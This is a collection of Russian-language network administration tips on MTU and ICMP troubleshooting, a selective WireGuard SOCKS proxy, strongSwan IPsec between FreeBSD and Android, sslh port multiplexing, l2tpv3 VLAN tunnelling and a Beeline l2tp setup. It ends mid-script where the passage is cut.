    ----* Почему выкачиваются данные с машины нормально, как только пытаюсь что-то закачать - соединение останавливается, даже через ssh больше 5 мин. не удается поработать. Другие машины работают нормально.   [комментарии]
     
    Неоднократно замечена проблема работы сетевых карт на базе RealTek 8129/8139 (машины под FreeBSD, 
    но с другими ОС тоже проявляется) с некоторыми концентраторами и коммутаторами. 
    Проявляется в замирании  сессий до истечения таймаута. 
    Диагностика: ping -s N remote_ip, при больших N не проходят.
    Решение: Смените сетевую карту, например, на Intel EtherExpress Pro.
    
     
    ----* Почему лог почтового сервера изобилует сообщениями о разрыве по Timeout, часто, при приеме большого объема данных, прокачка останавливается и замирает до истечения таймаута ?   [комментарии]
     
    Вероятные причины: Туннель, блокировка ICMP, "path MTU discovery" и ECN
    (Explicit Congestion Notification,
    ECN проявляется в основном при доступе через Proxy).
    При блокировке ICMP трафика, возможно блокируется не только
    echo_replay/echo_request ICMP сообщения,
    но и другие важные сообщения
    передаваемые по ICMP. При блокировке ICMP сообщений типа 3.4 (fragmentation
    needed and DF set) возможно
    нарушение нормальной фрагментации пакетов, что вполне может проявляться как
    внезапная остановка передачи
    данных большого объема и разрыв сесcии по таймауту, например, если на пути
    трафика встречается туннель.
    Одним из путей решением проблемы, является установка на туннеле MTU > 1500 и
    отмена блокировки ICMP трафика.
    Проблемы с ECN в Linux лечатся: 
        echo 0 >/proc/sys/net/ipv4/tcp_ecn 
    path MTU discovery:
        Linux: echo 1 > /proc/sys/net/ipv4/ip_no_pmtu_disc
        FreeBSD: sysctl -w net.inet.tcp.rfc1323=0
    
     

       Туннелинг, VPN, VLAN

    ----* Выборочное туннелирование сайтов через WireGuard   Автор: Аноним  [комментарии]
     
    Идея проста: на localhost поднимается SOCKS5 proxy, проталкивающий информацию
    на ту сторону туннеля WireGuard. Соответственно, селективность достигается
    путём использования прокси для нужных соединений.
    
    1. Клонируем https://github.com/zhsj/wghttp
    
    2. Ставим golang
    
    3. Собираем
    
         go build
    
    При надобности используем GOOS и GOARCH для кросс-сборки.
    
    4. Читаем
    
         wghttp --help
    
    и изучаем переменные окружения, используемые для конфигурации.
    
    5. Пишем сценарий оболочки/программу, выставляющий переменные окружения в
    нужные значения и запускающий прокси.
    
    6. Пишем unit systemd или используем NSSM/WinSW, запускаем службу. Желательно
    дать сервису минимально возможные права. а именно доступ к файловой системе ему
    не должен быть нужен вообще.
    
    7а. Устанавливаем браузерное дополнение FoxyProxy Standard (имеется порт для
    браузеров на основе Chromium). Конфигурируем его использовать свежеподнятый
    прокси для нужных сайтов.
    
    7б или устанавливаем браузерное дополнение Proxy SwitchyOmega Конфигурируем его
    использовать свежеподнятый прокси для нужных сайтов.
    
    
    7в. В качестве альтернативы можно использовать pac-файлы.
    
    
    8. PROFIT
    
    PS: можно поднять в Docker. 
    docker-compose.yaml
    
       services:
         wghttp:
           image: 'ghcr.io/zhsj/wghttp:latest'
           container_name: wghttp
           restart: always
           ports:
             - '1082:1082'
           environment:
             LISTEN: '0.0.0.0:1080' # SOCKS5 port optional default localhost:8080
             CLIENT_IP: 10.xx.xx.x
             PRIVATE_KEY: yHHxxxxxxxxxxxxxxxxxxxxxcH4Hk8=
             PEER_KEY: u57MDxxxxxxxxxxxxxxxxx7Pb1CMaP0Gk=
             PEER_ENDPOINT: 'xxxxxxxxxx.duckdns.org:4xxx4'
             DNS: 8.8.8.8  # optional
             MTU: 1450  # optional default 1280
            # PRESHARED_KEY=pupxxxxxxxxxxxxxxxxxxxxxxxxxxxxem4=  # optional
    
     
    ----* Как в mpd5 присвоить определенный номер для ng интерфейса (доп. ссылка 1)   Автор: Слава  [комментарии]
     
    Несколько интерфейсов, например два, можно сделать следующим образом:
    
       create bundle static NAME 
    
       create link static NAME1 TYPE 
       set link action bundle NAME 
    
       create link static NAME2 TYPE 
       set link action bundle NAME 
    
    В результате получится два интерфейса, у одного будет жестко ng0, у второго
    ng1, они появятся в системе сразу после запуска mpd, просто будут в DOWN, пока
    mpd не поднимет линки.
    
     
    ----* IPsec между Strongswan 5.0.4 (FreeBSD) и Strongswan 1.2.3 (Android) (доп. ссылка 1)   Автор: YetAnotherOnanym  [комментарии]
     
    1. Устанавливаем Strongswan на FreeBSD, компилируем ядро с поддержкой IPsec.
    Устанавливаем на Android Strongswan из Google Play.
    
    2. Создаём сертификаты. Сначала ключ и сертификат CA:
    
       openssl genrsa -out ipsec-test_CA_key.pem -aes256 -passout stdin 2048
    
       openssl req -x509 -new -sha512 -days 3652 -set_serial 0 -out ipsec-test_CA.pem \\
          -key ipsec-test_CA_key.pem -passin stdin -passout stdin -verbose \\
          -subj "/C=RU/ST=My state/L=My city/O=My IT Lab/OU=My CA dept\\
          /CN=My personal CA/emailAddress=me@mymailhost"
    
    3. После этого в /etc/ssl/openssl.cnf находим секцию "[usr_cert]" и добавляем
    строку с именем своего хоста:
    
       subjectAltName = DNS:ipsec-test.dyndns.org
    
    Это должно быть реально существующее DNS-имя - по нему Android будет находить
    стационарный хост. В данном случае, когда провайдер назначает на внешний
    интерфейс модема/роутера динамический "белый" IP-адрес, используется имя на
    бесплатном сервисе dyndns.org. С другими провайдерами возможны какие-то другие варианты.
    
    Создаём сертификат стационарного хоста (поскольку это первый сертификат нашего
    CA, указываем параметр -CAcreateserial)
    
       openssl genrsa -out 'ipsec-test.dyndns.org_key.pem' 2048
    
       openssl req -new -sha512 -days 3652 -out 'ipsec-test.dyndns.org_req.pem' \\
         -key 'ipsec-test.dyndns.org_key.pem' -passin stdin -passout stdin \\
         -subj "/C=RU/ST=My state/L=My city/O=My IT Lab/OU=My CA dept\\
         /CN=ipsec-test.dyndns.org/subjectAltName=DNS:ipsec-test.dyndns.org\\
         /emailAddress=me@mymailhost"
    
       openssl x509 -req -sha512 -days 3652 -extfile /etc/ssl/openssl.cnf \\
          -extensions "usr_cert" -CA ipsec-test_CA.pem -CAkey ipsec-test_CA_key.pem \\
          -CAcreateserial -CAserial ipsec-test_CA_serial \\
          -in 'ipsec-test.dyndns.org_req.pem' -out 'ipsec-test.dyndns.org_cert.pem'
    
    Строго говоря, указывать параметр "subjectAltName=DNS:ipsec-test.dyndns.org" в
    строке subject не обязательно, значение имеет расширение x.509v3, заданное в
    openssl.cnf. В строку subject этот параметр добавлен для красоты, на самом деле ;).
    
    Проверяем сертификат:
    
       openssl x509 -in ipsec-test.dyndns.org_cert.pem -text -noout
    
       Certificate:
       Data:
       Version: 3 (0x2)
       Serial Number:
       8a:55:5e:dd:bb:22:20:cc
       Signature Algorithm: sha512WithRSAEncryption
       Issuer: C=RU, ST=My state, L=My city, O=My IT Lab, OU=My CA dept,  CN=My personal CA/emailAddress=me@mymailhost
       Validity
       Not Before: Oct 14 23:13:38 2013 GMT
       Not After : Oct 14 23:13:38 2023 GMT
       Subject: C=RU, ST=My state, L=My city, O=My IT Lab, OU=My CA dept, 
          CN=ipsec-test.dyndns.org/subjectAltName=DNS:ipsec-test.dyndns.org/emailAddress=me@mymailhost
       (...)
       X509v3 Subject Alternative Name:
       DNS:ipsec-test.dyndns.org
       (...)
    
    4. Теперь создадим ключ и сертификат для мобильного устройства. Вообще-то,
    параметр "subjectAltName" в openssl.cnf можно теперь не указывать
    (закомментировать) - это связано с тем, что мобильный Strongswan в качестве
    своего ID передаёт строку subject своего сертификата (при том, что сам требует
    от партнёра ID, совпадающий с FQDN или IP-адресом). Всё же для соблюдения
    единообразия зададим в openssl.cnf "subjectAltName = DNS:android" и сгенерируем сертификат:
    
       openssl genrsa -out android_key.pem 2048
       openssl req -new -sha512 -days 3652 -out android_req.pem \\
          -key android_key.pem -passin stdin -passout stdin \\
          -subj "/C=RU/ST=My state/L=My city/O=My IT Lab/OU=My CA dept\\
          /CN=android/subjectAltName=DNS:android/emailAddress=me@mymailhost"
    
    Проверяем сертификат:
    
       openssl x509 -in android_cert.pem -text -noout
    
       Certificate:
       Data:
       Version: 3 (0x2)
       Serial Number:
       8a:55:5e:dd:bb:22:20:cd
       Signature Algorithm: sha512WithRSAEncryption
       Issuer: C=RU, ST=My state, L=My city, O=My IT Lab, OU=My CA dept,    
         CN=My personal CA/emailAddress=me@mymailhost
       Validity
       Not Before: Oct 15 19:58:45 2013 GMT
       Not After : Oct 15 19:58:45 2023 GMT
       Subject: C=RU, ST=My state, L=My city, O=My IT Lab, OU=My CA dept, CN=android/subjectAltName=DNS:android 
          /emailAddress=me@mymailhost
       (...)
    
    Теперь преобразуем сертификат в формат PKCS#12:
    
       openssl pkcs12 -export -out android_cert.p12 -in android_cert.pem \\
          -inkey android_key.pem -name Android -passout stdin -passin stdin
    
    5. Конвертируем сертификаты и ключи в формат DER (в debug-выводе charon
    присутствуют жалобы на плагин PEM, поэтому не будем пользоваться форматом PEM):
    
       openssl x509 -in ipsec-test_CA.pem -out ipsec-test_CA.der -inform pem -outform der 
       openssl rsa -in ipsec-test.dyndns.org_key.pem -out ipsec-test.dyndns.org_key.der -inform pem -outform der
       openssl x509 -in ipsec-test.dyndns.org_cert.pem -out ipsec-test.dyndns.org_cert.der -inform pem -outform der
       openssl x509 -in android_cert.pem -out android_cert.der -inform pem -outform
    
    Создаём ссылку:
    
       ln -s /etc/ssl/certs/ipsec-test/ipsec-test_CA.der /usr/local/etc/ipsec.d/cacerts
    
    6. Создаём файл конфигурации ipsec.conf:
    
       # ipsec.conf - strongSwan IPsec configuration file
       config setup
       # strictcrlpolicy=no
       # uniqueids = yes
       ca ipsec-test
       cacert = /etc/ssl/certs/ipsec-test/ipsec-test_CA.der
       conn android
       keyexchange = ikev2
       ike = AES_CBC_256-HMAC_SHA2_512-MODP4096
       esp = AES_CBC_256-HMAC_SHA2_256
       type = tunnel
       leftsourceip = 192.168.254.1
       rightsourceip = 192.168.254.2
       auto = start
       leftauth = pubkey
       rightauth = pubkey
       left = 192.168.203.3
       right = %any
       leftsubnet = 192.168.203.3
       leftca = "C=RU, ST=My state, L=My city, O=My IT Lab, OU=My CA dept, CN=My personal CA/emailAddress=me@mymailhost"
       rightca = "C=RU, ST=My state, L=My city, O=My IT Lab, OU=My CA dept, CN=My personal CA/emailAddress=me@mymailhost"
       leftcert = /etc/ssl/certs/ipsec-test/ipsec-test.dyndns.org_cert.der
       rightcert = /etc/ssl/certs/ipsec-test/android_cert.der
       leftid = "ipsec-test.dyndns.org"
       rightid = " C=RU, ST=My state, L=My city, O=My IT Lab, OU=My CA dept, CN=android/subjectAltName=DNS:android/emailAddress=me@mymailhost"
    
    7. Создаём файл ipsec.secrets:
    
       "ipsec-test.dyndns.org" : RSA /etc/ssl/certs/ipsec-test/ipsec-test.dyndns.org_key.der
    
    8. Устанавливаем сертификаты на мобильное устройство. Копируем сертификат
    android_cert.p12 и сертификат УЦ ipsec-test_CA.crt (сменив расширение .pem на
    .crt - это существенно) в корень SD-карты мобильного устройства.
    
    Устанавливаем сертификаты: Настройки -> Безопасность -> Установить из памяти
    (Для сертификата в формате PKCS#12 надо буде ввести пароль, заданный в п.4).
    
    9. Настраиваем мобильный Strongswan. В качестве шлюза задаём FQDN стационарного
    хоста ipsec-test.dyndns.org (оно же будет и "peer ID"), тип - IKEv2 Сертификат,
    выбираем загруженный и установленный сертификат мобильного устройства,
    указываем вручную сертификат нашего УЦ (скриншот).
    
    10. Сохраняем, устанавливаем соединение. Вуаля!
    
    11. Проверяем состояние стационарного хоста (да, утилита setkey - это из
    racoon, но я к ней привык ;)):
    
       setkey -D
       192.168.203.3 XXX.XXX.XXX.XXX
       esp mode=tunnel spi=3944322401(0xeb199561) reqid=1(0x00000001)
       E: rijndael-cbc 7b45804f 3e75bd59 7092e7ac dae00600
       A: hmac-sha1 ec42cbbf e49848a9 72620762 bc97d0cb 6bfb8412
       seq=0x00000000 replay=32 flags=0x00000000 state=mature
       created: Oct 17 17:29:48 2013 current: Oct 17 17:30:05 2013
       diff: 17(s) hard: 3600(s) soft: 2957(s)
       last: hard: 0(s) soft: 0(s)
       current: 0(bytes) hard: 0(bytes) soft: 0(bytes)
       allocated: 0 hard: 0 soft: 0
       sadb_seq=1 pid=902 refcnt=1
       XXX.XXX.XXX.XXX 192.168.203.3
       esp mode=any spi=3276763214(0xc34f704e) reqid=1(0x00000001)
       E: rijndael-cbc 70c5b1df dc0932a9 d8c8558b bd44caf7
       A: hmac-sha1 f3161cbc 50952da1 c298b3af 77008587 8bbc4f1f
       seq=0x00000000 replay=32 flags=0x00000000 state=mature
       created: Oct 17 17:29:48 2013 current: Oct 17 17:30:05 2013
       diff: 17(s) hard: 3600(s) soft: 2560(s)
       last: hard: 0(s) soft: 0(s)
       current: 0(bytes) hard: 0(bytes) soft: 0(bytes)
       allocated: 0 hard: 0 soft: 0
       sadb_seq=0 pid=902 refcnt=1
       setkey -DP
       192.168.254.2[any] 192.168.203.3[any] any
       in ipsec
       esp/tunnel/XXX.XXX.XXX.XXX-192.168.203.3/unique:1
       created: Oct 17 17:29:48 2013 lastused: Oct 17 17:29:48 2013
       lifetime: 2147483647(s) validtime: 0(s)
       spid=4 seq=1 pid=917
       refcnt=1
       192.168.203.3[any] 192.168.254.2[any] any
       out ipsec
       esp/tunnel/192.168.203.3-XXX.XXX.XXX.XXX/unique:1
       created: Oct 17 17:29:48 2013 lastused: Oct 17 17:29:48 2013
       lifetime: 2147483647(s) validtime: 0(s)
       spid=3 seq=0 pid=917
       refcnt=1
    
    XXX.XXX.XXX.XXX - IP-адрес внешнего интерфейса шлюза провайдера (трафик проходит через NAT).
    
    В одной консоли запускаем "tcpdump -i ep1 -n host XXX.XXX.XXX.XXX", в другой -
    "ping 192.168.254.2":
    
       tcpdump -i ep1 -n host XXX.XXX.XXX.XXX
       listening on ep1, link-type EN10MB (Ethernet), capture size 65535 bytes
       17:34:49.316449 IP 192.168.203.3.4500 > XXX.XXX.XXX.XXX.57488: isakmp-nat-keep-alive
       17:34:50.578734 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: isakmp-nat-keep-alive
       17:35:06.825124 IP 192.168.203.3.4500 > XXX.XXX.XXX.XXX.57488: UDP-encap: ESP(spi=0xeb199561,seq=0x1), length 132
       17:35:07.826283 IP 192.168.203.3.4500 > XXX.XXX.XXX.XXX.57488: UDP-encap: ESP(spi=0xeb199561,seq=0x2), length 132
       17:35:08.827392 IP 192.168.203.3.4500 > XXX.XXX.XXX.XXX.57488: UDP-encap: ESP(spi=0xeb199561,seq=0x3), length 132
       17:35:09.094268 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: UDP-encap: ESP(spi=0xc34f704e,seq=0x1), length 132
       17:35:09.154359 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: UDP-encap: ESP(spi=0xc34f704e,seq=0x2), length 132
       17:35:09.194508 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: UDP-encap: ESP(spi=0xc34f704e,seq=0x3), length 132
       17:35:09.828539 IP 192.168.203.3.4500 > XXX.XXX.XXX.XXX.57488: UDP-encap: ESP(spi=0xeb199561,seq=0x4), length 132
       17:35:09.953676 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: UDP-encap: ESP(spi=0xc34f704e,seq=0x4), length 132
       17:35:10.503650 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: isakmp-nat-keep-alive
       17:35:10.829664 IP 192.168.203.3.4500 > XXX.XXX.XXX.XXX.57488: UDP-encap: ESP(spi=0xeb199561,seq=0x5), length 132
       17:35:10.954139 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: UDP-encap: ESP(spi=0xc34f704e,seq=0x5), length 132
       17:35:30.327819 IP 192.168.203.3.4500 > XXX.XXX.XXX.XXX.57488: isakmp-nat-keep-alive
       17:35:31.118437 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: isakmp-nat-keep-alive
       17:35:50.332414 IP 192.168.203.3.4500 > XXX.XXX.XXX.XXX.57488: isakmp-nat-keep-alive
       17:35:52.174896 IP XXX.XXX.XXX.XXX.57488 > 192.168.203.3.4500: isakmp-nat-keep-alive
    
     
    ----* Мультиплексирование ssl/ssh соединений через один 443 порт (доп. ссылка 1)   [комментарии]
     
    В рамках проекта sslh (http://www.rutschle.net/tech/sslh.shtml) развивается
    мультиплексор ssl/ssh соединений, способный принимать соединения на одном порту
    и перебрасывать их в зависимости от типа протокола. Поддерживается широкий
    спектр протоколов, среди которых  HTTP, HTTPS, SSH, OpenVPN, tinc и XMPP.
    Наиболее востребованным применением sslh является обход межсетевых экранов,
    допускающих только ограниченное число открытых портов.
    
    Например, запустив sslh за пределами межсетевого экрана на 443 порту, можно
    организовать работу SSH и любых других протоколов: соединение с внешней системы
    будет производиться на 443 порт, но пробрасываться на локальный 22 порт, при
    этом штатные HTTPS-запросы будут перебрасываться на localhost:443.
    
    Для обеспечения работы такой схемы sslh следует запустить с опциями:
    
       sslh --user sslh --listen 192.168.10.15:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443
    
    где, "--user sslh" определяет пользователя, под которым следует запустить sslh;
    "--listen 192.168.10.15:443" - IP и порт для приёма внешних соединений;
    "--ssh 127.0.0.1:22" - IP и порт для проброса SSH
    "--ssl 127.0.0.1:443" - IP и порт для проброса HTTPS
    
     
    ----* Проброс 802.1q/access порта в Linux через IP-сеть   Автор: Roman Timofeev  [комментарии]
     
    В 2007 году я написал заметку с похожим названием.
    
    Тогда использовалась userspace-реализация с tap-интерфейсом и демоном vtund.
    Особой производительностью этот вариант не отличался.
    В свежих ядрах Linux появилась поддержка l2tpv3 ethernet pseudowire.
    
    Организуем l2-линк с udp-инкапсуляцией между двумя хостами laptus и gw:
    
       laptus# ip l2tp add tunnel tunnel_id 1 peer_tunnel_id 1 udp_sport 5000 \\
          udp_dport 5000 encap udp local 192.168.1.39 remote 213.x.x.x
       laptus# ip l2tp add session tunnel_id 1 session_id 1 peer_session_id 1
       laptus# ip a a 192.168.30.2/24 dev l2tpeth0
    
       gw# ip l2tp add tunnel tunnel_id 1 peer_tunnel_id 1 udp_sport 5000 \\
          udp_dport 11932 encap udp local 213.x.x.x remote 188.134.x.x
       gw# ip l2tp add session tunnel_id 1 session_id 1 peer_session_id 1
       gw# ip a a 192.168.30.1/24 dev l2tpeth0
    
    (так как машина laptus на NAT, то пришлось сначала сконфигурировать туннель на
    нём и запустить ping 192.168.30.1 и на внешнем интерфейсе gw "подсмотреть"
    ip:port, в который оттранслировались пакеты на выходе. Если у вас на обоих
    концах публичные ip - всё просто).
    
    Теперь попробуем сделать что-то полезное:
    
       laptus# ip link add link l2tpeth0 name vlan5 type vlan id 5
       laptus# ip link add link l2tpeth0 name vlan6 type vlan id 6
       laptus# ip a a dev vlan5 10.1.5.2/24
       laptus# ip a a dev vlan6 10.1.6.2/24
    
       gw# ip link add link l2tpeth0 name vlan5 type vlan id 5
       gw# ip link add link l2tpeth0 name vlan6 type vlan id 6
       gw# ip a a dev vlan5 10.1.5.1/24
       gw# ip a a dev vlan6 10.1.6.1/24
    
       laptus# ping 10.1.6.1
       PING 10.1.6.1 (10.1.6.1) 56(84) bytes of data.
       64 bytes from 10.1.6.1: icmp_req=1 ttl=64 time=5.77 ms
       64 bytes from 10.1.6.1: icmp_req=2 ttl=64 time=13.4 ms
       64 bytes from 10.1.6.1: icmp_req=3 ttl=64 time=17.6 ms
       ^C
       --- 10.1.6.1 ping statistics ---
       3 packets transmitted, 3 received, 0% packet loss, time 2002ms
       rtt min/avg/max/mdev = 5.776/12.295/17.671/4.922 ms
    
    при этом tcpdump -e -n -i l2tpeth0 на gw покажет:
    
       16:44:30.055082 b2:19:70:63:90:85 > 76:a9:12:12:c7:30, ethertype IPv4 (0x0800), length 98: 192.168.30.2 > 192.168.30.1: ICMP echo request, id 26927, seq 1376, length 64
       16:44:30.055116 76:a9:12:12:c7:30 > b2:19:70:63:90:85, ethertype IPv4 (0x0800), length 98: 192.168.30.1 > 192.168.30.2: ICMP echo reply, id 26927, seq 1376, length 64
       16:44:30.990689 b2:19:70:63:90:85 > 76:a9:12:12:c7:30, ethertype 802.1Q (0x8100), length 102: vlan 6, p 0, ethertype IPv4, 10.1.6.2 > 10.1.6.1: ICMP echo request, id 27037, seq 2, length 64
       16:44:30.990734 76:a9:12:12:c7:30 > b2:19:70:63:90:85, ethertype 802.1Q (0x8100), length 102: vlan 6, p 0, ethertype IPv4, 10.1.6.1 > 10.1.6.2: ICMP echo reply, id 27037, seq 2, length 64
    
    l2tpeth можно объединить бриджом с физическим интерфейсом. 
    выглядит это примерно так:
    
       root@atomus:~# ip a s l2tpeth0
    
       7: l2tpeth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master vl0 state UNKNOWN qlen 1000
        link/ether 1e:7f:ec:bd:cf:6a brd ff:ff:ff:ff:ff:ff
    
       root@atomus:~# ip a s vl0
    
       9: vl0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
        link/ether 1e:7f:ec:bd:cf:6a brd ff:ff:ff:ff:ff:ff
        inet 10.1.1.10/24 brd 10.1.1.255 scope global vl0
    
       root@atomus:~# ip a s vlan5
    
       11: vlan5@vl0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
        link/ether 1e:7f:ec:bd:cf:6a brd ff:ff:ff:ff:ff:ff
        inet 10.1.5.10/24 brd 10.1.5.255 scope global vlan5
    
       root@atomus:~# ip a s vlan222
    
       12: vlan222@vl0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
        link/ether 1e:7f:ec:bd:cf:6a brd ff:ff:ff:ff:ff:ff
        inet 10.1.222.10/24 brd 10.1.222.255 scope global vlan222
    
       root@atomus:~# brctl show
    
       bridge name     bridge id               STP enabled     interfaces
       vl0             8000.1e7fecbdcf6a       no              l2tpeth0
    
       root@gw:~# ip a s vlan222
    
       68: vlan222@l2tpeth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1488 qdisc noqueue state UP 
           link/ether c6:8c:43:30:88:03 brd ff:ff:ff:ff:ff:ff
           inet 10.1.222.1/24 brd 10.1.222.255 scope global vlan222
    
       root@gw:~# ip a s l2tpeth0
    
       64: l2tpeth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
        link/ether c6:8c:43:30:88:03 brd ff:ff:ff:ff:ff:ff
        inet 10.1.1.1/24 brd 10.1.1.255 scope global l2tpeth0
    
       root@atomus:~# ping 10.1.5.1
       PING 10.1.5.1 (10.1.5.1) 56(84) bytes of data.
       64 bytes from 10.1.5.1: icmp_req=1 ttl=64 time=6.37 ms
       64 bytes from 10.1.5.1: icmp_req=2 ttl=64 time=5.53 ms
       ......
    
       root@atomus:~# ping 10.1.222.1
       PING 10.1.222.1 (10.1.222.1) 56(84) bytes of data.
       64 bytes from 10.1.222.1: icmp_req=1 ttl=64 time=10.0 ms
       64 bytes from 10.1.222.1: icmp_req=2 ttl=64 time=4.24 ms
       .....
    
    Как видим, к нам приходит тегированный трафик:
    
       root@gw:~# tcpdump -n -e -i l2tpeth0
    
       tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
       listening on l2tpeth0, link-type EN10MB (Ethernet), capture size 65535 bytes
       19:21:33.962979 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype 802.1Q (0x8100), length 102: vlan 5, p 0, ethertype IPv4, 10.1.5.10 > 10.1.5.1: ICMP echo request, id 3765, seq 139, length 64
       19:21:33.963047 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype 802.1Q (0x8100), length 102: vlan 5, p 0, ethertype IPv4, 10.1.5.1 > 10.1.5.10: ICMP echo reply, id 3765, seq 139, length 64
       19:21:33.986660 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype 802.1Q (0x8100), length 102: vlan 222, p 0, ethertype IPv4, 10.1.222.10 > 10.1.222.1: ICMP echo request, id 3764, seq 149, length 64
       19:21:33.986698 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype 802.1Q (0x8100), length 102: vlan 222, p 0, ethertype IPv4, 10.1.222.1 > 10.1.222.10: ICMP echo reply, id 3764, seq 149, length 64
       19:21:35.165848 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype 802.1Q (0x8100), length 102: vlan 5, p 0, ethertype IPv4, 10.1.5.10 > 10.1.5.1: ICMP echo request, id 3765, seq 140, length 64
       19:21:35.165903 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype 802.1Q (0x8100), length 102: vlan 5, p 0, ethertype IPv4, 10.1.5.1 > 10.1.5.10: ICMP echo reply, id 3765, seq 140, length 64
       19:21:35.168489 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype 802.1Q (0x8100), length 102: vlan 222, p 0, ethertype IPv4, 10.1.222.10 > 10.1.222.1: ICMP echo request, id 3764, seq 150, length 64
       ...
    
    а тут уже тегов нет:
    
       root@gw:~# tcpdump -n -e -i vlan5   
    
       tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
       listening on vlan5, link-type EN10MB (Ethernet), capture size 65535 bytes
       19:22:17.038686 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype IPv4 (0x0800), length 98: 10.1.5.10 > 10.1.5.1: ICMP echo request, id 3765, seq 182, length 64
       19:22:17.038759 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype IPv4 (0x0800), length 98: 10.1.5.1 > 10.1.5.10: ICMP echo reply, id 3765, seq 182, length 64
       19:22:18.041890 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype IPv4 (0x0800), length 98: 10.1.5.10 > 10.1.5.1: ICMP echo request, id 3765, seq 183, length 64
       19:22:18.041935 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype IPv4 (0x0800), length 98: 10.1.5.1 > 10.1.5.10: ICMP echo reply, id 3765, seq 183, length 64
    
    
       root@gw:~# tcpdump -n -e -i vlan222
    
       tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
       listening on vlan222, link-type EN10MB (Ethernet), capture size 65535 bytes
       19:23:14.155061 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype IPv4 (0x0800), length 98: 10.1.222.10 > 10.1.222.1: ICMP echo request, id 3764, seq 249, length 64
       19:23:14.155100 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype IPv4 (0x0800), length 98: 10.1.222.1 > 10.1.222.10: ICMP echo reply, id 3764, seq 249, length 64
       19:23:15.150799 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype IPv4 (0x0800), length 98: 10.1.222.10 > 10.1.222.1: ICMP echo request, id 3764, seq 250, length 64
       19:23:15.150833 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype IPv4 (0x0800), length 98: 10.1.222.1 > 10.1.222.10: ICMP echo reply, id 3764, seq 250, length 64
    
    если требуется "протащить" несколько trunk-интерфейсов, то достаточно сказать:
    
       ip l2tp add session tunnel_id 1 session_id 2 peer_session_id 2
    
    В рамках одно туннеля может быть 65535 сессий.
    
     
    ----* Подключения к Internet Beeline (Corbina) в Debian GNU/Linux 6 по протоколу l2tp (доп. ссылка 1)   Автор: Ilya  [комментарии]
     
    Руководство по настройке подключения к провайдеру Beeline (Corbina) в Debian 6 по протоколу l2tp.
    
    1. Локальное подключение: Ethernet 100Mb. Настройки по DHCP (локальный IP, маршруты, DNS серверы).
    
    2. Подключение к Internet: по протоколу l2tp через сервер tp.internet.beeline.ru.
    
    
    1.1. "Ловим" маршруты (у меня больше 30):
    
    В связи с увлеченностью Beeline технологиями от MS придется подправить dhclient.conf, заменяем 
    
       option rfc3442-classless-static-routes code 121 = array of unsigned integer 8;
    
    на
    
       option rfc3442-classless-static-routes code 249 = array of unsigned integer 8;
     
    далее добавляем в секцию "request" опцию "static-routes", а в директорию
    "/etc/dhcp/dhclient-exit-hooks.d/" скрипт (назовем его "static_routes"):
    
       RUN="yes"
       if [ "$RUN" = "yes" ]; then
            if [ "$new_static_routes" != "" ]; then
                    if [ "$reason" = "BOUND" ] || [ "$reason" = "REBOOT" ]; then
                            my_static_routes=($new_static_routes)
    
                            for(( i=0; i < ${#my_static_routes[@]}; i=i+2 )); do
    				/sbin/route add -host "${my_static_routes[$i]}" gw "${my_static_routes[$i+1]}"
                            done
                    fi
            fi
       fi
    
    В зтом скрипте я делаю допущение, что через опцию "static_routes" выдаются
    маршруты только к хостам, не к сетям (для Beeline это верно).
    
    Еще один нюанс - после поднятия интерфейса, в "dhclient.ethX.leases", у меня
    остается адрес сервера dhcp недостижимый по протоколу dhcp.
    
    Поэтому по истечению времени "renew" (у меня 3 дня) в log начинает сыпаться
    сообщения о недосягаемости dhcp сервера.
    
    Во избежании, добавим опцию: 
    
       supersede dhcp-server-identifier 255.255.255.255;
    
    Получаем что-то типа:
    
       option rfc3442-classless-static-routes code 249 = array of unsigned integer 8;
       supersede dhcp-server-identifier 255.255.255.255;
       request subnet-mask, broadcast-address, time-offset, routers, static-routes,
    	domain-name, domain-name-servers, domain-search, host-name,
    	netbios-name-servers, netbios-scope, interface-mtu,
    	rfc3442-classless-static-routes, ntp-servers;
    
    1.2. Подымаем интерфейс. Подправляем маршруты.
    
    Файл /etc/network/interfaces:
    
       iface ethX inet dhcp
          l2tpserv tp.internet.beeline.ru
          l2tpgw  10.xxx.xxx.xxx  # адрес шлюза - узнается экспериментально.
    
    Прописываем маршруты к DNS и к tp.internet.beeline.ru.
    Файл /etc/network/if-up.d/prel2tp: название может быть любое:
    
       #!/bin/sh
       BINROUTE=/sbin/route
